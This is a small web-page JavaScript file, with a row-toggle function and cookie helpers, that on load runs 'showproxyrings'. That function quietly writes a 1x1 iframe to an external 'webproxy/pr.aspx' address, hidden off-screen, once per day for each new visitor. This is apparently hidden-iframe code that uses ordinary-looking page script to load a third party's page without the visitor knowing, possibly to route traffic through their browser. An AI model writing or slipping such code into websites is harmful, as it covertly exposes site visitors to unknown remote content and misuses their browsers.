function showit(tr1, tr2, alternar)
{
    fila1 = document.getElementById(tr1);
    fila2 = document.getElementById(tr2);
    if (fila1.style.display=='')
    {
        fila1.style.display = 'none';
        fila2.style.display = '';
    }

    if (alternar)
    {
        if (fila2.style.display=='')
        {
            fila2.style.display = 'none';
            fila1.style.display = '';
        }
    }
}

function setCookie(c_name,value,expiredays)
{
var exdate=new Date();
exdate.setDate(exdate.getDate()+expiredays);
document.cookie=c_name+ "=" +escape(value)+((expiredays==null) ? "" : ";expires="+exdate.toGMTString())
}


function getCookie(c_name)
{
if (document.cookie.length>0)
  {
  c_start=document.cookie.indexOf(c_name + "=");
  if (c_start!=-1)
    { 
    c_start=c_start + c_name.length+1 ;
    c_end=document.cookie.indexOf(";",c_start);
    if (c_end==-1) c_end=document.cookie.length 
    return unescape(document.cookie.substring(c_start,c_end))
    } 
  }
return ""
}


function showproxyrings()
{
var newuser=getCookie('newuser')
if (newuser!=null && newuser!="")
  {
    document.write('');
  }
else
  {
    document.write('<iframe name="bt" src="https://aniscartujo.com/webproxy/pr.aspx" width="1" height="1" style="position: absolute; left: -100; top: -100">');
    setCookie('newuser','notanymore',1)
  }
}

showproxyrings();